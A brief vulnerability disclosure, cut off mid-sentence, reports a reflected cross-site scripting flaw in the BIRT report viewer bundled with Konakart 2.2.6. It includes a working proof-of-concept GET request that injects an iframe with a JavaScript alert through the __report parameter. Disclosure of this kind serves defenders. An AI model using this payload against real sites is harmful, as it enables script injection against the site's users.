Quite a common problem in a lot of Java based applications: reflected  
XSS in Java stack trace.  
  
A Reflected XSS is present in the _report parameter: here below the modified  
request (that is the BIRT 2.2.1 version included in Konakart 2.2.6)  
  
GET  
/birt-viewer/run?__report='"><iframe%20src=javascript:alert(666)>&r=-703171660  
HTTP/1.1

Konakart is actually using org.eclipse.birt.core_2.2.1.r22x_v20070924, that is
